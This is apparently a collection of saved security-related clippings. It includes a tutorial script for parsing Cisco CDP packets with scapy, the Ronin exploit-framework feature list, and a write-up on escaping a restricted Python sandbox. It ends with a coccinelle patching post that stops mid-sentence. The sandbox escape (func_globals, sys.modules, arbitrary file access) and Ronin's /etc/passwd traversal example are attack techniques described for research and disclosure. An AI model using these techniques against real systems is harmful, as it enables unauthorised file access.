    ptype=NLPID plen=1 proto='\xcc' addrlen=4 addr=192.168.0.1 |>] |>, <CDPMsgGeneric  type=Power Available 
    
[/code]

[code]

    
    
[/code]

[code]

    len=16 val='\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff' |>] |>>>>
    
[/code]

[code]

    
    
[/code]

[code]

    >>>
    
[/code]

[code]

    
    
[/code]

We can see that each packet has each fields clearly defined. if we do an
ls\(\) on the packet we can get them in a more readable format:

[/code]

[code]

    >>> ls(cdp_p)
    
[/code]

[code]

    
    
[/code]

[code]

    dst        : DestMACField         = '01:00:0c:cc:cc:cc' (None)
    
[/code]

[code]

    
    
[/code]

[code]

    src        : MACField             = '00:19:06:ea:b8:85' ('00:00:00:00:00:00')
    
[/code]

[code]

    
    
[/code]

[code]

    len        : LenField             = 386             (None)
    
[/code]

[code]

    
    
[/code]

[code]

    --
    
[/code]

[code]

    
    
[/code]

[code]

    dsap       : XByteField           = 170             (0)
    
[/code]

[code]

    
    
[/code]

[code]

    ssap       : XByteField           = 170             (0)
    
[/code]

[code]

    
    
[/code]

[code]

    ctrl       : ByteField            = 3               (0)
    
[/code]

[code]

    
    
[/code]

[code]

    --
    
[/code]

[code]

    
    
[/code]

[code]

    OUI        : X3BytesField         = 12              (0)
    
[/code]

[code]

    
    
[/code]

[code]

    code       : XShortEnumField      = 8192            (0)
    
[/code]

[code]

    
    
[/code]

[code]

    --
    
[/code]

[code]

    
    
[/code]

[code]

    vers       : ByteField            = 2               (2)
    
[/code]

[code]

    
    
[/code]

[code]

    ttl        : ByteField            = 180             (180)
    
[/code]

[code]

    
    
[/code]

[code]

    cksum      : XShortField          = 45245           (None)
    
[/code]

[code]

    
    
[/code]

[code]

    msg        : PacketListField      = [<CDPMsgDeviceID  type=Device ID len=10 val='Switch' |>, 
    
[/code]

[code]

    
    
[/code]

[code]

    <CDPMsgSoftwareVersion  type=Software Version len=196 val='Cisco IOS Software, C3560 Software 
    
[/code]

[code]

    
    
[/code]

[code]

    (C3560-ADVIPSERVICESK9-M), Version 12.2(25)SEB4, RELEASE SOFTWARE (fc1)\nCopyright (c) 1986-2005 
    
[/code]

[code]

    
    
[/code]

[code]

    by Cisco Systems, Inc.\nCompiled Tue 30-Aug-05 17:56 by yenanh' |>, <CDPMsgPlatform  type=Platform l
    
[/code]

[code]

    
    
[/code]

[code]

    en=24 val='cisco WS-C3560G-24PS' |>, <CDPMsgAddr  type=Addresses len=17 naddr=1 addr=[<CDPAddrRecordIPv4  
    
[/code]

[code]

    
    
[/code]

[code]

    ptype=NLPID plen=1 proto='\xcc' addrlen=4 addr=192.168.0.1 |>] |>, <CDPMsgPortID  type=Port ID len=22 
    
[/code]

[code]

    
    
[/code]

[code]

    iface='GigabitEthernet0/5' |>, <CDPMsgCapabilities  type=Capabilities len=8 cap=Switch+IGMPCapable 
    
[/code]

[code]

    
    
[/code]

[code]

    |>, <CDPMsgProtoHello  type=Protocol Hello len=36 val='\x00\x00\x0c\x01\x12\x00\x00\x00\x00\xff\xff\xff\xff\x01\x02!\xff\x00\x00\x00\x00\x00\x00\x00\x19\x06\xea\xb8\x80\xff\x00\x00' |>, <CDPMsgVTPMgmtDomain  type=VTP Mangement Domain len=7 val='Lab' |>, <CDPMsgNativeVLAN  type=Native VLAN len=6 vlan=1 |>, <CDPMsgDuplex  type=Duplex len=5 duplex=Full |>, <CDPMsgGeneric  type=Trust Bitmap len=5 val='\x00' |>, <CDPMsgGeneric  type=Untrusted Port CoS len=5 val='\x00' |>, <CDPMsgMgmtAddr  type=Management Address len=17 naddr=1 addr=[<CDPAddrRecordIPv4  ptype=NLPID plen=1 proto='\xcc' addrlen=4 addr=192.168.0.1 |>] |>, <CDPMsgGeneric  type=Power Available len=16 val='\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff' |>] ([])
    
[/code]

[code]

    
    
[/code]

[code]

    >>> 
    
[/code]

[code]

    
    
[/code]

We can see that as it is expected the destination of all CDP packets is
'01:00:0c:cc:cc:cc' so this will be the easiest way to identify this packets
inside a pcap. The CDP fields are saved in the message, each containing a type
and we can call each of the values in the type, they are following a TLV
\(Type Length Value\) format.

With this information lets build a script to help us parse pcap files.

Lets start by making sure we have the proper libraries imported:

[/code]

[code]

    #!/usr/bin/python
[/code]

[code]

    
    
[/code]

[code]

    import getopt
    
[/code]

[code]

    
    
[/code]

[code]

    import logging
    
[/code]

[code]

    
    
[/code]

[code]

    import re
[/code]

[code]

    
    
[/code]

[code]

    import string
[/code]

[code]

    
    
[/code]

[code]

    import sys
[/code]

[code]

    
    
[/code]

Each one will server a different purpose for the script:

  * getopt – Manage the script options that we will use.
  * logging – Control any warning or error messages generated by the scapy library.
  * re – Regular expression library.
  * strings – Manage string objects
  * sys – Provides access system specific parameters.

Next we will import the scapy 2.2.0-Dev library and set the logging lever to
errors only, this will eliminate the “No IPv6 Route” warning message that may
show for those running the script on systems without proper IPv6
configurations.

[/code]

[code]

    # suppress the no route warning in scapy when loading
    
[/code]

[code]

    
    
[/code]

[code]

    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    
[/code]

[code]

    
    
[/code]

[code]

    # import scapy
    
[/code]

[code]

    
    
[/code]

[code]

    from scapy.all import *
    
[/code]

[code]

    
    
[/code]

I like the use of a usage function in my code so I can call it anytime a user
enters a wrong parameter, no parameter or simply does –h for help on the
script. We will create this function now:

[/code]

[code]

    def usage():
    
[/code]

[code]

    
    
[/code]

[code]

        """
[/code]

[code]

    
    
[/code]

[code]

        Function for presenting usage of the tool.
[/code]

[code]

    
    
[/code]

[code]

        """
[/code]

[code]

    
    
[/code]

[code]

        print "CDP Parse by Carlos Perez carlos_perez@darkoperator.com"
    
[/code]

[code]

    
    
[/code]

[code]

        print "Tool for printing to STDOUT information on CDP packets found capture"
    
[/code]

[code]

    
    
[/code]

[code]

        print "file. Will print all supported options.\n"
    
[/code]

[code]

    
    
[/code]

[code]

        print "cdp_parser.py <OPTIONS>"
    
[/code]

[code]

    
    
[/code]

[code]

        print "-F <dir>  Directory containing pcaps."
    
[/code]

[code]

    
    
[/code]

[code]

        print "-f <pcap> pcap file."
    
[/code]

[code]

    
    
[/code]

Now lets create our function to process each packet and print the info to
standard out:

[/code]

[code]

      1: def process_packets(pkts):
    
[/code]

[code]

    
    
[/code]

[code]

      2:     """
    
[/code]

[code]

    
    
[/code]

[code]

      3:     Function for processing packets and printing information of CDP Packets
    
[/code]

[code]

    
    
[/code]

[code]

      4:     """
    
[/code]

[code]

    
    
[/code]

[code]

      5: 
    
[/code]

[code]

    
    
[/code]

[code]

      6:     for p in pkts:
    
[/code]

[code]

    
    
[/code]

[code]

      7:         # Check if the packet is a CDP Packet
[/code]

[code]

    
    
[/code]

[code]

      8:         if Dot3 in p and p.dst == '01:00:0c:cc:cc:cc':
    
[/code]

[code]

    
    
[/code]

[code]

      9:            
    
[/code]

[code]

    
    
[/code]

[code]

     10:             print "\n*******************************"
    
[/code]

[code]

    
    
[/code]

[code]

     11:             
    
[/code]

[code]

    
    
[/code]

[code]

     12:             print "Source MAC:", p.src
    
[/code]

[code]

    
    
[/code]

[code]

     13:             # Process each field in the packet message
[/code]

[code]

    
    
[/code]

[code]

     14:             for f in p[CDPv2_HDR].fields["msg"]:
    
[/code]

[code]

    
    
[/code]

[code]

     15: 
    
[/code]

[code]

    
    
[/code]

[code]

     16:                 # Check if the filed type is a known one
[/code]

[code]

    
    
[/code]

[code]

     17:                 if f.type in _cdp_tlv_types:
    
[/code]

[code]

    
    
[/code]

[code]

     18: 
    
[/code]

[code]

    
    
[/code]

[code]

     19:                     # Process each field according to type
[/code]

[code]

    
    
[/code]

[code]

     20:                     f_type = _cdp_tlv_types[f.type]
    
[/code]

[code]

    
    
[/code]

[code]

     21: 
    
[/code]

[code]

    
    
[/code]

[code]

     22:                     # Make sure we process each address in the message
[/code]

[code]

    
    
[/code]

[code]

     23:                     if re.match(r"(Addresses|Management Address)", f_type):
    
[/code]

[code]

    
    
[/code]

[code]

     24:                         for ip in f.fields["addr"]:
    
[/code]

[code]

    
    
[/code]

[code]

     25:                             print f_type, ip.addr
    
[/code]

[code]

    
    
[/code]

[code]

     26: 
    
[/code]

[code]

    
    
[/code]

[code]

     27:                     elif f_type == "Software Version":
    
[/code]

[code]

    
    
[/code]

[code]

     28:                         print f_type+":"
    
[/code]

[code]

    
    
[/code]

[code]

     29:                         print "\t" + string.replace(f.val, "\n", "\n\t")
    
[/code]

[code]

    
    
[/code]

[code]

     30: 
    
[/code]

[code]

    
    
[/code]

[code]

     31:                     elif f_type == "Port ID":
    
[/code]

[code]

    
    
[/code]

[code]

     32:                         print f_type, ":", f.iface
    
[/code]

[code]

    
    
[/code]

[code]

     33: 
    
[/code]

[code]

    
    
[/code]

[code]

     34:                     elif f_type == "Capabilities":
    
[/code]

[code]

    
    
[/code]

[code]

     35:                         # Ugly but works :)
[/code]

[code]

    
    
[/code]

[code]

     36:                         print f_type, ":", "".join(re.findall(r"cap\s*=(\S*)", str(f.show)))
    
[/code]

[code]

    
    
[/code]

[code]

     37: 
    
[/code]

[code]

    
    
[/code]

[code]

     38:                     elif re.match(r"Native VLAN|VoIP VLAN Reply",f_type):
    
[/code]

[code]

    
    
[/code]

[code]

     39:                         print f_type, ":", f.vlan
    
[/code]

[code]

    
    
[/code]

[code]

     40: 
    
[/code]

[code]

    
    
[/code]

[code]

     41:                     elif f_type == "Duplex":
    
[/code]

[code]

    
    
[/code]

[code]

     42:                         print f_type, ":", _cdp_duplex[f.duplex]
    
[/code]

[code]

    
    
[/code]

[code]

     43: 
    
[/code]

[code]

    
    
[/code]

[code]

     44:                     elif f_type == "IP Prefix":
    
[/code]

[code]

    
    
[/code]

[code]

     45:                         print f_type, ":", f.defaultgw
    
[/code]

[code]

    
    
[/code]

[code]

     46: 
    
[/code]

[code]

    
    
[/code]

[code]

     47:                     elif f_type == "Power":
    
[/code]

[code]

    
    
[/code]

[code]

     48:                         print f_type, ":", f.power, " mW"
    
[/code]

[code]

    
    
[/code]

[code]

     49: 
    
[/code]

[code]

    
    
[/code]

[code]

     50:                     # Fields not yet implemented in the current version of the
[/code]

[code]

    
    
[/code]

[code]

     51:                     # contributed cdp module.
[/code]

[code]

    
    
[/code]

[code]

     52:                     elif f_type == "Power Available":
    
[/code]

[code]

    
    
[/code]

[code]

     53:                         # I know, this should provide the amount of power
[/code]

[code]

    
    
[/code]

[code]

     54:                         print f_type, ": POE Enabled"
    
[/code]

[code]

    
    
[/code]

[code]

     55: 
    
[/code]

[code]

    
    
[/code]

[code]

     56:                     elif f_type == "Protocol Hello":
    
[/code]

[code]

    
    
[/code]

[code]

     57:                         pass
    
[/code]

[code]

    
    
[/code]

[code]

     58: 
    
[/code]

[code]

    
    
[/code]

[code]

     59:                     else:
    
[/code]

[code]

    
    
[/code]

[code]

     60:                         try:
    
[/code]

[code]

    
    
[/code]

[code]

     61:                             # Make sure we do not have an empty value and print
[/code]

[code]

    
    
[/code]

[code]

     62:                             if f.val is not '\0' and len(f.val) != 0: print f_type, ":", f.val
    
[/code]

[code]

    
    
[/code]

[code]

     63: 
    
[/code]

[code]

    
    
[/code]

[code]

     64:                         except Exception, e:
    
[/code]

[code]

    
    
[/code]

[code]

     65:                             print "ERROR!!!!:", f_type
    
[/code]

[code]

    
    
[/code]

[code]

     66:                             print e
    
[/code]

[code]

    
    
[/code]

[code]

     67:                             print "Send error to: carlos_perez[at]darkoperator.com"
    
[/code]

[code]

    
    
[/code]

[code]

     68:                             pass
    
[/code]

[code]

    
    
[/code]

on line 1 we declare our function and we set the pkts variable as the input
for the function. On line 6 we are going to iterate thru each of the packets
found the in the packet list we give the function, next on line 8 we check the
destination of each packet to see if they are '01:00:0c:cc:cc:cc' then they
are CDP packets and we can proceed to parse them, on line 12 we will print the
source MAC Address.

On line 17 we check if it is a know type that we can parse, if not we skip the
type, In my testing I did not find any it could not do bust just in case Cisco
adds one in the future or the packet has an error I added this line, specially
since some vendors like HP had CDPv1 support and did some extensions. Next on
line 20 we get from hex to text the type name of the field by checking against
the \_cdp\_tlv\_types dictionary that is part of the CDP library.

Now from line 22 to line 54 we parse each type for which we know the name of
the field and do not follow the stand name of val like the rest.

From lines 56 and 57 we skip the Protocol Hello type since it just prints a
bunch of garbage for this type, still working on how to dissect this type.

If the type is not known we try to parse the TLV data and if an exception
occurs an error is raised and my email is provided to sent the error to so I
can work on improving the script this happens from lines 59 to 68.

The next step is to create the main function that will handle options, open
the pcap files and feed the packets to the function we just created.

[/code]

[code]

      1: def main():
    
[/code]

[code]

    
    
[/code]

[code]

      2: 
    
[/code]

[code]

    
    
[/code]

[code]

      3:     try:
    
[/code]

[code]

    
    
[/code]

[code]

      4:         # Check version
[/code]

[code]

    
    
[/code]

[code]

      5:         if not re.match(r"2\.[2-9]\.\S*", config.conf.version):
    
[/code]

[code]

    
    
[/code]

[code]

      6:             print "You are not running the latest scapy release."
    
[/code]

[code]

    
    
[/code]

[code]

      7:             print "Please go to http://trac.secdev.org/scapy and follow the"
    
[/code]

[code]

    
    
[/code]

[code]

      8:             print "the instructions to download the latest versions."
    
[/code]

[code]

    
    
[/code]

[code]

      9:             sys.exit(1)
    
[/code]

[code]

    
    
[/code]

[code]

     10: 
    
[/code]

[code]

    
    
[/code]

[code]

     11:         # load the support for CDP Packets
[/code]

[code]

    
    
[/code]

[code]

     12:         load_contrib("cdp")
    
[/code]

[code]

    
    
[/code]

[code]

     13: 
    
[/code]

[code]

    
    
[/code]

[code]

     14:         # Set Variables for Options
[/code]

[code]

    
    
[/code]

[code]

     15:         folder = None
    
[/code]

[code]

    
    
[/code]

[code]

     16:         pcap_file = None
    
[/code]

[code]

    
    
[/code]

[code]

     17:         pcap_files = []
    
[/code]

[code]

    
    
[/code]

[code]

     18: 
    
[/code]

[code]

    
    
[/code]

[code]

     19:         # Check that options are given
[/code]

[code]

    
    
[/code]

[code]

     20:         if len(sys.argv) == 1:
    
[/code]

[code]

    
    
[/code]

[code]

     21:             usage()
    
[/code]

[code]

    
    
[/code]

[code]

     22:        sys.exit(1)
    
[/code]

[code]

    
    
[/code]

[code]

     23: 
    
[/code]

[code]

    
    
[/code]

[code]

     24:         # Set Options
[/code]

[code]

    
    
[/code]

[code]

     25:         options, remainder = getopt.getopt(sys.argv[1:], 'F:f:h')
    
[/code]

[code]

    
    
[/code]

[code]

     26: 
    
[/code]

[code]

    
    
[/code]

[code]

     27:         # Parse Options
[/code]

[code]

    
    
[/code]

[code]

     28:         for opt, arg in options:
    
[/code]

[code]

    
    
[/code]

[code]

     29:             if opt in ('-F'):
    
[/code]

[code]

    
    
[/code]

[code]

     30:                 folder = arg
    
[/code]

[code]

    
    
[/code]

[code]

     31:             elif opt in ('-f'):
    
[/code]

[code]

    
    
[/code]

[code]

     32:                 pcap_file = arg
    
[/code]

[code]

    
    
[/code]

[code]

     33:             elif opt in ('-h'):
    
[/code]

[code]

    
    
[/code]

[code]

     34:                 usage()
    
[/code]

[code]

    
    
[/code]

[code]

     35:          sys.exit(0)
    
[/code]

[code]

    
    
[/code]

[code]

     36:             else:
    
[/code]

[code]

    
    
[/code]

[code]

     37:                 usage()
    
[/code]

[code]

    
    
[/code]

[code]

     38:          sys.exit(1)
    
[/code]

[code]

    
    
[/code]

[code]

     39: 
    
[/code]

[code]

    
    
[/code]

[code]

     40:         # Process folder with pcap files
[/code]

[code]

    
    
[/code]

[code]

     41:         if folder:
    
[/code]

[code]

    
    
[/code]

[code]

     42:             if os.path.isdir(folder):
    
[/code]

[code]

    
    
[/code]

[code]

     43:                 for item in os.listdir(arg):
    
[/code]

[code]

    
    
[/code]

[code]

     44:                     fullpath = os.path.join(arg, item)
    
[/code]

[code]

    
    
[/code]

[code]

     45:                     if os.path.isfile(fullpath) and ('.cap' in item or '.pcap' in item or '.dump' in item):
    
[/code]

[code]

    
    
[/code]

[code]

     46:                         pcap_files.append(fullpath)
    
[/code]

[code]

    
    
[/code]

[code]

     47:             else:
    
[/code]

[code]

    
    
[/code]

[code]

     48:                 print "ERROR:", folder, "does not exists!"
    
[/code]

[code]

    
    
[/code]

[code]

     49:                 sys.exit(1)
    
[/code]

[code]

    
    
[/code]

[code]

     50: 
    
[/code]

[code]

    
    
[/code]

[code]

     51:         # Process single pcap file
[/code]

[code]

    
    
[/code]

[code]

     52:         if pcap_file:
    
[/code]

[code]

    
    
[/code]

[code]

     53:             if os.path.isfile(pcap_file):
    
[/code]

[code]

    
    
[/code]

[code]

     54:                 pcap_files.appemd(pcap_file)
    
[/code]

[code]

    
    
[/code]

[code]

     55:             else:
    
[/code]

[code]

    
    
[/code]

[code]

     56:                 print "ERROR:",pcap_file,"does not exist!"
    
[/code]

[code]

    
    
[/code]

[code]

     57:                 sys.exit(1)
    
[/code]

[code]

    
    
[/code]

[code]

     58: 
    
[/code]

[code]

    
    
[/code]

[code]

     59:         # Process all files selected and extract CDP Info
[/code]

[code]

    
    
[/code]

[code]

     60:         for f in pcap_files:
    
[/code]

[code]

    
    
[/code]

[code]

     61:             pcap = rdpcap(f)
    
[/code]

[code]

    
    
[/code]

[code]

     62:             process_packets(pcap)
    
[/code]

[code]

    
    
[/code]

[code]

     63:     except Exception, e:
    
[/code]

[code]

    
    
[/code]

[code]

     64:         print e
    
[/code]

[code]

    
    
[/code]

[code]

     65:         print "Send error to: carlos_perez[at]darkoperator.com"
    
[/code]

[code]

    
    
[/code]

[code]

     66:         pass
    
[/code]

[code]

    
    
[/code]

[code]

     67: 
    
[/code]

[code]

    
    
[/code]

[code]

     68: if __name__ == '__main__':
    
[/code]

[code]

    
    
[/code]

[code]

     69:     main()
    
[/code]

[code]

    
    
[/code]

In the main function at line 5 we do a scapy version check making sure we are
running a version equal or above 2.2.x, if not we print a message indication
that the wrong version is being used and to upgrade to the latest development
version.

On line 11 we load the contributed CDP Parser. this has to be loaded before we
read the packets since they will be ran against it when read.

In lines 14 to 17 we set the option variables that we will use for the script.

From lines 19 to 22 check that options are given, if none is given we print
the usage message and exit.

From lines 24 to 38 we parse the options and set the variables, if an option
does not match our list of options we exit with an usage message.

From lines 41 to 49 we check if the folder option is set, if it we check that
the folder exists and if it does we list the content of the folder and save
the full path of each capture file found in to a list for use.

From lines 52 to 57 we check if a pcap file is specified, if it is we check
that the file actualy exist and we save the full path to it in to the the same
list we we saved the files for the folder, so both options can be used at the
same time.

From lines 60 to 62 we parse each file on the list of files collected, read
the packets and pass those to the process\_packet function to process them.

This is a very simple simple, I tried my best to explain each part of it so
for those starting with python and playing with scapy can follow it and learn.
You can download the whole script at cdp\_parser.py

# Dhwani: Secure Peer-to\_peer Acoustic NFC

**Created:**| _11/7/2013 1:48:51 PM_  
---|---  
**Updated:**| _11/7/2013 1:49:35 PM_  
**Author:**| _wishi_  
**Tags:**| _hardware_  
  

  

  
<img src='img/Paper325Dhwani.pdf' />  
  

# Ronin - About

**Created:**| _6/21/2011 8:12:31 AM_  
---|---  
**Updated:**| _6/21/2011 8:12:38 AM_  
**Author:**| __  
**Tags:**| _bookmark ruby_  
  

# Ronin

Ronin is a Ruby platform for exploit development and security research. Ronin
allows for the rapid development and distribution of code, exploits or
payloads over many common Source-Code-Management \(SCM\) systems.

## Install

Install Ronin using RubyGems:

[code]

    $ sudo gem install ronin
    
[/code]

## Examples

A couple of examples of things Ronin simplifies.

  * Print diagnostic messages:
[code]     >> print_info "Successfully sent data."

    [-] Successfully send data.
    
    >> print_error "Received invalid input: %p", input
    [!] Received invalid input: "USER \xff\xff\xff\0"
    
    
[/code]

  * Load Ronin in a Ruby script:
[code]     require 'ronin'

    
    
[/code]

  * Zlib inflate a String:
[code]     "x\x9c+NM.J-\x01\0\b\xd1\x02\x87AAAAAAA".zlib_inflate

    # => "secret"
    
    
[/code]

  * Zlib deflate a String:
[code]     "secret".zlib_deflate

    # => "x\x9c+NM.J-\x01\0\b\xd1\x02\x87"
    
    
[/code]

  * Creating a SSL session which will be automatically closed:
[code]     Net.ssl_session('github.com',443) do |socket|

      socket.write("GET /\r\n")
      puts socket.read
    end
    
    
[/code]

  * Create a SSL Socket to a specified host and port:
[code]     socket = Net.ssl_connect('github.com',443)

    # => #<OpenSSL::SSL::SSLSocket:0x00000002f60458>
    
    
[/code]

  * Enumerate through a range of IP addresses:
[code]     IPAddr.each('10.1.*.1-128') do |ip|

      # ...
    end
    
    
[/code]

  * Run a block of Ruby code, and ignore any exceptions:
[code]     attempt do

      Resolv.getaddress(readline)
    end
    
    
[/code]

  * Hexdump some data:
[code]     >> "hello\x00\x90\a\b\t\r\n".hexdump

    00000000  68 65 6c 6c 6f 00 90 07  08 09 0d 0a              |hello.......|
    
    
[/code]

  * Hexdump a File:
[code]     >> File.hexdump('foo.bin')

    ...
    
    
[/code]

  * Extract IP addresses from Text:
[code]     IPAddr.extract("One two 10.1.1.2 three")

    # => ["10.1.1.2"]
    
    
[/code]

  * Enumerate through CIDR IP Ranges:
[code]     IPAddr.new('10.1.1.1/24').each do |ip|

      # ...
    end
    
    
[/code]

  * Work with Character Classes:
[code]     Chars.hexadecimal

    # => #<Chars::CharSet: {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F", "a", "b", "c", "d", "e", "f"}>
    
    (Chars.printable - Chars.alpha_numeric).bytes
    # => [32, 33, 34, 39, 40, 41, 44, 45, 46, 58, 59, 63, 91, 93, 96, 123, 125, 126, 35, 36, 37, 38, 42, 43, 47, 60, 61, 62, 64, 92, 94, 95, 124, 9, 10, 11, 12, 13]
    
    
[/code]

  * Accessing the query parameters of a URL:
[code]     url =
URI('http://www.google.com/search?hl=en&client=firefox-a&rls=org.mozilla%3Aen-
US%3Aofficial&hs=1HY&q=bob+ross&btnG=Search')

    url.query_params
    # => {"btnG"=>"Search", "hs"=>"1HY", "rls"=>"org.mozilla:en-US:official", "client"=>"firefox-a", "hl"=>"en", "q"=>"bob+ross"}
    
    
[/code]

  * Creating a TCP session which will be automatically closed:
[code]     Net.tcp_session('www.example.com',1212) do |socket|

      socket.write("this is just a test\n")
      puts socket.readline
    end
    
    
[/code]

  * Creating a TCP Socket to a specified host and port:
[code]     socket = Net.tcp_connect('www.example.com',25)

    # => #<TCPSocket:0xb7bbde6c>
    
    
[/code]

  * Grabbing the banner from a TCP service:
[code]     Net.tcp_banner('www.example.com',22)

    # => "SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1.4\n"
    
    
[/code]

  * Return the SHA512 checksum of a String:
[code]     "thunder growl".sha512

    # => "b2a1e560a497514dafda024f9e6fc2dfbfb178483251a708f07a88d4e157e5561604460da313ebc88dde2814ae58a15ae4085d00efb6a825a62f5be3215f5cbf"
    
    
[/code]

  * Return the SHA256 checksum of a String:
[code]     "admin".sha256

    # => "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918"
    
    
[/code]

  * Return the SHA1 checksum of a String:
[code]     "lol train".sha1

    # => "37f05f0cc2914615c580af396df5c66316112f48"
    
    
[/code]

  * Return the MD5 checksum of a String:
[code]     "leet school".md5

    # => "1b11ba66f5e9d40a7eef699cd812e362"
    
    
[/code]

  * Packing an Integer:
[code]     0x1337.pack(Arch.i686)

    # => "7\x13\0\0"
    
    
[/code]

  * Escaping a directory:
[code]     Path.up(7)

    # => #<Ronin::Path:../../../../../../..>
    
    
[/code]

  * Traverse directories outside of a root directory:
[code]     Path.up(7) / 'etc' / 'passwd'

    # => #<Ronin::Path:../../../../../../../etc/passwd>
    
    
[/code]

  * Base64 encode a String:
[code]     "hello\0world".base64_encode

    # => "aGVsbG8Ad29ybGQ=\n"
    
    
[/code]

  * Base64 decode a String:
[code]     "c2VjcmV0\n".base64_decode

    # => "secret"
    
    
[/code]

  * Update all previously installed Ronin Repositories:
[code]     $ ronin-repos --update

    
    
[/code]

  * Jump right into Ruby with Ronin pre-loaded:
[code]     $ ronin

    >> ['r', 'u', 'b', 'y', '!'].join
    # => "ruby!"
    
    
[/code]

  * Install a Ronin Repository:
[code]     $ ronin-repos --install http://github.com/someuser/repo.git

    
    
[/code]

  * Generate a skeleton Ronin Repository:
[code]     $ ronin-gen repository my-repo --license MIT \

        --description "Overlay for work stuff."
    
    
[/code]

# Breaking out of secured Python environments - Toms corner of the internet

**Created:**| _9/26/2013 10:07:32 AM_  
---|---  
**Updated:**| _9/26/2013 10:07:32 AM_  
**Author:**| __  
**Tags:**| _python vulnerability_  
  

# **B** reaking out of secured Python environments****

A week or so ago I was browsing /r/Python  and I saw a link to a website
called rise4fun.com , which is a Microsoft Research project that contains a
lot of cool demos and tools that you can run in your browser**.** The demo I
was linked to was a restricted Python shell that could be used to experiment
with a "high performance theorem prover" called Z3 **.** Python is a highly
dynamic language and so it is pretty hard to secure correctly, and I found
numerous ways around the restrictions they put in place which I have detailed
in this post**.** Due to these issues the z3py section was removed shortly
after I made contact so you can't see it for yourself, however the plain z3
section is still there so take a look here  for reference \(just imagine it
took Python code as input\)**.**

#### The restrictions****

The first thing I did was to explore what restrictions they had in place to
prevent malicious activity**.** I found they had the following restrictions on
code being executed:

  * Any use of the import statement
  * Use of any attribute prefixed with a double underscore \(which rules out all Python special methods like \_\_getattr\_\_\)
  * Use of any attribute name in a blacklist \(open, getattr, setattr, locals, globals etc\)

They implemented these restrictions by parsing the Python code into an AST
representation and looking for _any_ attribute access prefixed with a double
underscore, any use of the import statement or any name in a blacklist**.**

#### Breaking out****

In Python exception's have a defined hierarchy**.** The following code is a
common way to catch all exceptions while executing some\_func\(\):

[code]

    try:
       some_func()
    except Exception:
       pass
    
[/code]

This works in most cases as almost all exceptions have Exception as a parent
somewhere**.** However there are a few \(MemoryError for one\) that inherit
only from BaseException and not Exception, and so would not get caught by that
code**.**

<img src='img/Temp2_1135.png' />

Raising a BaseException\(\) escaped the try/except block they had in place and
gave me a nice traceback with some the path to the executing script**.**

### Enumerating attributes****

There are a few ways to enumerate attributes in Python, you could use the
\_\_dict\_\_ attribute on any class but this was obviously restricted**.** The
other more common way is to use the dir\(\) function, which was not
restricted**.** I found that "print dir\(x\)" didn't work and returned no
output, however "print exit\(dir\(x\)\)" did \(str was restricted, but
exit\(\) turns its parameters into a string\):

<img src='img/Temp2_1137.png' />

#### Accessing restricted functions****

By enumerating the attributes I found an interesting one called "ctx"**.**
This wasn't interesting by itself, but it had an attribute called "lib" that
was a reference to the z3 module , which had some interesting sounding
functions**.**

<img src='img/Temp2_1130.png' />

#### Writing files****

The one that stood out in the z3 module were the logfile functions,
Z3\_open\_log and Z3\_append\_log**.** This allowed me a simple way to write
files, helped in part by the path I acquired using the BaseException method
above:

<img src='img/Temp2_1134.png' />

And the resulting file:

<img src='img/Temp2_1133.png' />

#### Getting a reference to the sys module****

The sys module in Python is a goldmine, if you can get a reference to that in
a restricted environment then you will be able to get a reference to any
imported module by using the sys.modules dictionary**.** After a while of
getting nowhere I hit myself, I forgot about _func\_globals_**.** Any Python
function has an attribute called func\_globals which according to the Python
docs is a "reference to the dictionary that holds the function’s global
variables — the global namespace of the module in which the function was
defined"**.** Using this we could easily get a reference to the sys module and
therefore any imported module:

<img src='img/Temp2_1136.png' />

And then we could use the io module to read and write arbitrary files:

<img src='img/Temp2_1131.png' />

#### Bonus marks****

None of the output was escaped, and while it's not too serious as there are no
user accounts \(as far as I know\) and so nothing to steal it's still a bit
funny:

<img src='img/Temp2_1132.png' />

#### Securing Python****

Python is hard to secure**.** The best way is to execute it in a temporary
environment \(like a temporary docker instance\) so that if someone did manage
to escape they would not be able to wreak havoc on anything important**.**
That being said the blacklist AST parsing method that rise4fun used was clever
and worked to a degree, improvements could be made to make it more viable**.**

****

# Massive and semantic patching with coccinelle « To Linux and beyond \!

**Created:**| _11/27/2010 10:40:10 PM_  
---|---  
**Updated:**| _11/27/2010 10:40:27 PM_  
**Author:**| __  
**Tags:**| _programming awesome_  
  

## Massive and semantic patching with coccinelle

I’m currently working on suricata and one of the feature I’m working on change
the way the main structure _Packet_ is accessed.

One of the consequences is that almost all unit tests need to be rewritten
because the use `Packet p` construction which has to be replace by an
dynamically allocated `Packet *. Given the number of tests in suricata, this
task is very dangerous:`

  * It is error prone
  * Too long to be done correctly

I thus decide to give a try to coccinelle which is a "program matching and
transformation engine which provides the language SmPL \(Semantic Patch
Language\) for specifying desired matches and transformations in C code".
Well, from user point of view it is a mega over-boosted sed for C.

One of the transformation I had to do was to find all memset\(\) done on a
Packet structure and replace it by a memset on the correct length followed by
the setting of a pointer. In term of code with "..." meaning some code, I had
to found all codes like

[code]

    func(...)
    {
    Packet p;
    ...
    memset(&p, 0, ...);
    }
    
[/code]

and replace it by

[code]

    func(...)
    {
    Packet p;
    ...
    memset(&p, 0, SIZE_OF_PACKET);
    p->pkt = (uint8_t *)(p + 1);
    }
    
[/code]

To do so, I wrote the following semantic patch which defined the objects and
the transformation I want to apply:

[code]

    @rule0@
    identifier p;
    identifier func;
    typedef uint8_t;
    typedef Packet;
    @@
    func(...) {
    <...
    Packet p;
    ...
    - memset(&p, 0, ...);
    + memset(&p, 0, SIZE_OF_PACKET);
    + p.pkt = (uint8_t *)(p + 1);
    ...>
    }
    
    
[/code]

If this semantic patch is saved in the file memset.cocci, you just have to run

> `spatch -sp_file packet.cocci -in_place detect.c`
to modify the file.  
The result of the command is that detect.c has been modified. Here's an
extract of the resulting diff:

[code]

    @@ -9043,6 +9100,7 @@ static int SigTest...m_type() {
         Packet p2;
         memset(&p2, 0, SIZE_OF_PACKET);
    +    p2.pkt = (uint8_t *)(p2 + 1);
         DecodeEthernet(&th_v, &dtv, &p2, rawpkt2, sizeof(rawpkt2), NULL);
    
    
[/code]

As you can see, _spatch_ does not care that the variable is name _p2_. This is
